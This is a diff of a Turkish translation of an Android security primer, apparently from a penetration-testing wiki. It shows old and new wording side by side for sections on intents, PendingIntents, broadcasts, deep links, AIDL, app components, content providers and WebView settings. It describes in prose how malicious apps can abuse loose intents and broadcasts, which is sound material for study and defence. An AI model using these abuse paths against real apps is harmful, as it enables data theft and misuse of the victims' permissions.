DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder. +Tersine mühendislik için, **Smali** hayati öneme sahiptir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder. ## İntentler -İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yollarıdır. Bu mesaj nesneleri aynı zamanda veri taşıyabilir ve uygulamalar veya bileşenler arasında GET/POST isteklerinin HTTP iletişiminde nasıl kullanıldığına benzer şekilde veri taşıyabilir. +İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yoludur. Bu mesaj nesneleri aynı zamanda uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişiminde kullanılan GET/POST istekleri gibi. -Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\ +Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir**, **veya belirli bir alıcı olmadan gönderilebilir**.\ Basitçe İntent şunlar için kullanılabilir: -* Bir Etkinliği başlatmak için, genellikle bir uygulama için bir kullanıcı arayüzü açma -* Değişiklikleri sistem ve uygulamalara bildirmek için yayınlar olarak -* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak için -* ContentProvider'lar aracılığıyla veriye erişmek için -* Olayları işlemek için geri çağrılar olarak +* Bir Etkinliği başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açma +* Sistem ve uygulamaları değişiklikler hakkında bilgilendirmek için yayınlar +* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak +* ContentProvider aracılığıyla veriye erişmek +* Olayları işlemek için geri çağrılar olarak kullanmak Eğer zayıfsa, **İntentler çeşitli saldırıları gerçekleştirmek için kullanılabilir**. ### İntent-Filtre -**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşime geçebileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** içindedir, ancak Yayın Alıcıları için bunları kodlamak da bir seçenektir. +**İntent Filtreleri**, **bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşime geçebileceğini tanımlar**. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** olmasına rağmen, Yayın Alıcıları için bunları kodlamak da bir seçenektir. İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, belirtilen kriterleri karşılayan belirli İntent'leri işlemek için bileşenlere izin verir. -Android bileşenlerinin (etkinlikler/hizmetler/içerik sağlayıcılar/yayın alıcıları) kritik bir yönü, **genel görünürlük veya** **`exported`** değerinin **`true`** olarak ayarlanması durumunda diğer uygulamalarla etkileşime girebilmesidir veya manifestte için bir İntent Filtresi belirtilmişse. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutma seçeneği vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır. +Android bileşenlerinin (etkinlikler/hizmetler/içerik sağlayıcılar/yayın alıcıları) kritik bir yönü, **genel görünürlük veya** **`exported`** değerinin **`true`** olması veya manifestte bunun için bir İntent Filtresi belirtilmiş olması durumunda diğer uygulamalarla etkileşime girebilmesidir. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutma seçeneği vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır. Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebilmesini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir. ```java @@ -152,7 +152,7 @@ Intentler, bir Intent yapıcısı kullanılarak programatik olarak oluşturulur: ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -**Eylem** önceden belirtilen niyetin **ACTION\_SEND** ve **Ekstra** bir mailto **Uri**'dir (Ekstra, niyetin beklediği ekstra bilgidir). +**Eylem** olarak önceden belirtilen niyetin **ACTION\_SEND** olduğu ve **Ekstra**'nın bir mailto **Uri** olduğu (Ekstra, niyetin beklediği ek bilgidir). Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belirtilmelidir: ```xml @@ -163,9 +163,9 @@ Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belir ``` -Bir intent-filtresinin bir mesajı alabilmesi için **action**, **data** ve **category**'nin eşleşmesi gerekir. +Bir intent-filter, bir mesajı almak için **action**, **data** ve **category**'nin eşleşmesi gerekmektedir. -"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu öncelik, **intent-filtresi bildiriminde** ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**. +"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu özellik i**ntent-filter bildirimi**nde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, bir "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**. ### Açık İntentler @@ -173,7 +173,7 @@ Açık bir intent, hedeflediği sınıf adını belirtir: ```java Intent downloadIntent = new (this, DownloadService.class): ``` -Diğer uygulamalarda önceden belirtilen amaçlara erişmek için şunu kullanabilirsiniz: +Diğer uygulamalarda önceden belirtilen intent'e erişmek için şunu kullanabilirsiniz: ```java Intent intent = new Intent(); intent.setClassName("com.other.app", "com.other.app.ServiceName"); @@ -181,7 +181,7 @@ context.startService(intent); ``` ### Bekleyen İzinler -Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen İzin oluşturulurken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama kurban adına **herhangi bir eylem yapabilir**. +Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen bir İzin oluştururken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet Açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **kurban adına herhangi bir eylemi gerçekleştirebilir**. ### Yayın İzinleri @@ -189,10 +189,10 @@ Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin v Alternatif olarak, yayın gönderirken **bir izin belirtmek de mümkündür**. Alıcı uygulamanın o izne sahip olması gerekecektir. -İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıralama**, **alıcı içinde yapılandırılmış önceliğe** göre belirlenir. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**. +İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıralama**, alıcı içindeki yapılandırılmış önceliğe göre belirlenir. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**. -`Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanarak bir yayın göndermek mümkündür.\ -Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamadan çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz. +Bir yayın göndermek için `Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanabilirsiniz.\ +Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamayı terk etmemesini sağlayabilirsiniz**. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz. ### Kalıcı Yayınlar @@ -200,13 +200,13 @@ Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\ Bu, API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmaması önerilir**.\ **Herhangi bir uygulamanın verileri izlemesine ve değiştirmesine izin verirler**. -Eğer **"sticky"** kelimesini içeren işlevler bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmayı deneyin**. +Eğer **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`** gibi "sticky" kelimesini içeren işlevler bulursanız, **etkisini kontrol edin ve bunları kaldırmayı deneyin**. ## Derin Bağlantılar / URL şemaları Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğrudan bir eylemi (Niyet) başlatmak için kullanılır. Bu, bir etkinlik içinde belirli bir **URL şemasının** bildirilmesiyle yapılır. Bir Android cihazı, bu şemayla bir URL'ye **erişmeye çalıştığında**, uygulama içinde belirtilen etkinlik başlatılır. -Şema, **`AndroidManifest.xml`** dosyasında belirtilmelidir: +Şema, **`AndroidManifest.xml`** dosyasında bildirilmelidir: ```xml [...] @@ -218,9 +218,9 @@ Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğr [...] ``` -Önceki örneğin şeması `exampleapp://` (ayrıca **`category BROWSABLE`**'ı da not edin) +Önceki örnekteki şema `exampleapp://` (ayrıca **`category BROWSABLE`**'ı da not edin) -Ardından, veri alanında **host** ve **path**'i belirtebilirsiniz: +Ardından, veri alanında **ana bilgisayar (host)** ve **yol (path)** belirtebilirsiniz: ```xml click here click here ``` -**Uygulamada yürütülecek kodu bulmak** için deeplink tarafından çağrılan etkinliğe gidin ve **`onNewIntent`** işlevini arayın. +**Uygulamada yürütülecek kodu** bulmak için deeplink tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** işlevini arayın. -Derin bağlantıları **HTML sayfaları kullanmadan** nasıl [çağıracağınızı öğrenin](./#exploiting-schemes-deep-links). +[HTML sayfaları kullanmadan derin bağlantıları nasıl çağıracağınızı](./#exploiting-schemes-deep-links) öğrenin. ## AIDL - Android Arayüz Tanım Dili -**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi kolaylaştırmak amacıyla tasarlanmıştır, **işlem arası iletişim** (IPC) yoluyla. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi basitleştirerek nesneleri işletim sistemi tarafından anlaşılan bir formata dönüştürerek farklı işlemler arasında iletişimi kolaylaştırır. +**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi kolaylaştırmak amacıyla tasarlanmıştır ve **işlem arası iletişim** (IPC) yoluyla gerçekleştirilir. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi basitleştirir ve nesneleri işletim sistemi tarafından anlaşılabilen bir formata dönüştürerek farklı işlemler arasındaki iletişimi kolaylaştırır. ### Temel Kavramlar -- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıklarını aramak için önemli bir alan olarak işaretlenmiştir. +- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve aktivitelerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları aramak için önemli bir alanı işaretler. - **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, verilerin işlenmesine odaklanarak IPC'yi kolaylaştırır. Bu yöntemi güvenli olmayan veri işleme veya hassas işlevlerin yürütülmesi açısından yakından incelemek önemlidir. -- **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresinde bulunmaktadır. +- **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [burada](https://www.youtube.com/watch?v=O-UHvFjxwZ8) bulunmaktadır. ## Bileşenler -Bunlar şunları içerir: **Etkinlikler, Hizmetler, Yayın Alıcılar ve Sağlayıcılar.** +Bunlar şunları içerir: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.** -### Başlatıcı Etkinlik ve diğer etkinlikler +### Başlatıcı Aktivite ve diğer aktiviteler -Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamada birçok etkinlik olabilir, her biri kullanıcıya benzersiz bir ekran sunar. +Android uygulamalarında **aktiviteler**, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamada birçok aktivite olabilir, her biri kullanıcıya benzersiz bir ekran sunar. -**Başlatıcı etkinlik**, uygulamanın ana giriş kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Uygulamanın belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır: +**Başlatıcı aktivite**, uygulamanın ana giriş kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır: ```markup @@ -268,17 +268,17 @@ Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün Launcher etkinliğine ihtiyaç duymayan uygulamalar, özellikle arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar, bulunabilir. -Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalara veya işlemlere erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir: +Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalar veya işlemler için erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir: ```markdown ``` -Ancak, bir uygulamadan diğer bir uygulamaya erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntılarına yol açabilir. +Ancak, bir uygulamadan diğer bir uygulamaya bir etkinliğe erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntısına yol açabilir. -Bir aktivitenin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve aktiviteyi kullanıcıyla etkileşime hazırlar. +Bir etkinliğin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve etkinliği kullanıcıyla etkileşime hazırlar. ### Uygulama Alt Sınıfı -Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Bu tür bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf olur. Bu alt sınıfta uygulandıysa **`attachBaseContext`** yöntemi, **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar. +Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf haline gelir. Bu alt sınıfta **`attachBaseContext`** yöntemi uygulandıysa, **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar. ```java public class MyApp extends Application { @Override @@ -296,11 +296,11 @@ super.onCreate(); ``` ### Hizmetler -[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcılar farklı uygulamalara geçtiklerinde bile çalışmaya devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir. +[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcıların farklı uygulamalara geçiş yapmaları durumunda bile devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir. -Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri iletimi için `onBind` yöntemi devreye girer. +Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak bunları başlatmak için kullanılır. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır, veri iletimi için `onBind` yöntemi devreye girer. -Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verisi alma gibi işlemleri kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirmektir. Ayrıca, hizmetler diğer işlemlerin aynı cihazda erişebilmesi için **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir: +Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verileri getirme gibi işlemleri kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirmektir. Ayrıca, hizmetler diğer işlemlerin aynı cihazda erişebilmesi için **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir: ```xml ``` @@ -308,19 +308,19 @@ Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verisi a **Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve sistemden gelen aynı iletilere birden fazla uygulamanın yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir. -**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, alıcının hangi yayınların alınacağını belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın buna uygun şekilde tepki vermesini sağlar, örneğin, düşük pil uyarısına yanıt olarak davranışı ayarlar. +**Intent filtreleri**, kayıt yöntemlerinde de önemlidir ve alıcının hangi yayınları tetiklediğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın buna uygun şekilde tepki vermesini sağlar, örneğin, düşük pil uyarısına yanıt olarak davranışı ayarlar. -Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın bir yayını ele geçirmek için kendisini önceliklendirebileceği potansiyel güvenlik riskini göz önünde bulundurmak önemlidir. +Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar önceliklere göre yayına ulaşırlar. Ancak, herhangi bir uygulamanın bir yayını ele geçirmek için kendisini önceliklendirebileceği potansiyel güvenlik riskini göz önünde bulundurmak önemlidir. -Bir alıcının işlevselliğini anlamak için, sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir, bu da alıcılar tarafından veri doğrulamasının gerekliliğini vurgular, özellikle de Intent'i değiştirebilen veya bırakabilen **Sıralı Yayınlar** için. +Bir alıcının işlevselliğini anlamak için, sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir, özellikle **Sıralı Yayınlar** içinde, alınan Intent'i değiştirebilir veya düşürebileceği için alıcılar tarafından veri doğrulamasının gerekliliğini vurgular. ### İçerik Sağlayıcı -**İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Bu, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veriye erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanarak uygulamanın manifestindeki **`grantUriPermission`** ayarları aracılığıyla verilebilir. +**İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik Sağlayıcılar, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişimine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, uygulamanın manifestindeki **`grantUriPermission`** ayarları aracılığıyla sağlanabilir ve ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanır. -SQL enjeksiyonu gibi güvenlik açıklarını önlemek için giriş doğrulaması son derece önemlidir. İçerik Sağlayıcılar, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır. +Güvenlik açıklarını önlemek için giriş doğrulaması çok önemlidir, örneğin SQL enjeksiyonu. İçerik Sağlayıcılar, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır. -**FileProvider**, güvenli bir şekilde dosya paylaşımına odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır ve `android:exported` ve `android:resource` ile klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir. +**FileProvider**, güvenli bir şekilde dosyaları paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır, `android:exported` ve `android:resource` ile klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir. FileProvider için örnek manifest bildirimi: ```xml @@ -338,43 +338,42 @@ Ve `filepaths.xml` dosyasında paylaşılan klasörleri belirtmenin bir örneği ``` -- Daha fazla bilgi için şu kaynaklara bakabilirsiniz: - - [Android Geliştiriciler: İçerik Sağlayıcılar](https://developer.android.com/guide/topics/providers/content-providers) - - [Android Geliştiriciler: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing) +- [Android Geliştiricileri: İçerik Sağlayıcılar](https://developer.android.com/guide/topics/providers/content-providers) +- [Android Geliştiricileri: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing) ## WebViews -WebViews, Android uygulamaları içindeki **mini web tarayıcıları** gibidir, içeriği web'den veya yerel dosyalardan alırlar. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır. +WebViews, Android uygulamalarının içinde **mini web tarayıcıları** gibi davranır, içeriği web'den veya yerel dosyalardan çeker. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır. Android, iki ana WebView türü sunar: -- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı işlevini desteklemez, bu da XSS saldırılarının nasıl test edilebileceğini etkiler. -- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha çok benzer. +- **WebViewClient** temel HTML için harikadır ancak JavaScript uyarı işlevini desteklemez, bu da XSS saldırılarının nasıl test edilebileceğini etkiler. +- **WebChromeClient** tam Chrome tarayıcı deneyimine daha çok benzer. Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerezleri paylaşmamasıdır**. İçerik yükleme için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **güvenli olduğundan emin olmak** önemlidir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, ````setJavaScriptEnabled(false)```` ile JavaScript devre dışı bırakılarak XSS saldırıları engellenebilir. -Java nesnelerinin JavaScript ile etkileşimini sağlayan JavaScript "Bridge", yöntemlerin Android 4.2'den itibaren güvenlik için ````@JavascriptInterface```` ile işaretlenmesini gerektirir. +JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasını sağlar ve yöntemlerin güvenliği için Android 4.2'den itibaren ````@JavascriptInterface```` ile işaretlenmesini gerektirir. İçeriğe erişime izin vermek (````setAllowContentAccess(true)````), WebViews'in İçerik Sağlayıcılara ulaşmasına izin verir, ancak içerik URL'lerinin güvenli olduğu doğrulanmadıkça bir risk olabilir. Dosya erişimini kontrol etmek için: -- Dosya erişiminin devre dışı bırakılması (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalar yaparak, bunların hassas olmayan içerikler için kullanıldığından emin olur. +- Dosya erişimini devre dışı bırakmak (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar ve belirli varlıklar için istisnalar yapar, böylece bunların hassas olmayan içerikler için kullanıldığından emin olur. ## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi ### **Uygulamaların Dijital İmzalanması** -- Android uygulamaları için **dijital imzalama**, kurulumdan önce uygulamaların **gerçekten kimin tarafından yazıldığını** sağlamak için gereklidir. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur. +- Android uygulamaları için **dijital imzalama**, kurulumdan önce uygulamaların **gerçekten kimin tarafından yazıldığını** sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur. ### **Gelişmiş Güvenlik için Uygulama Doğrulaması** -- **Android 4.2'den** itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır. +- **Android 4.2'den** itibaren başlayarak, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü 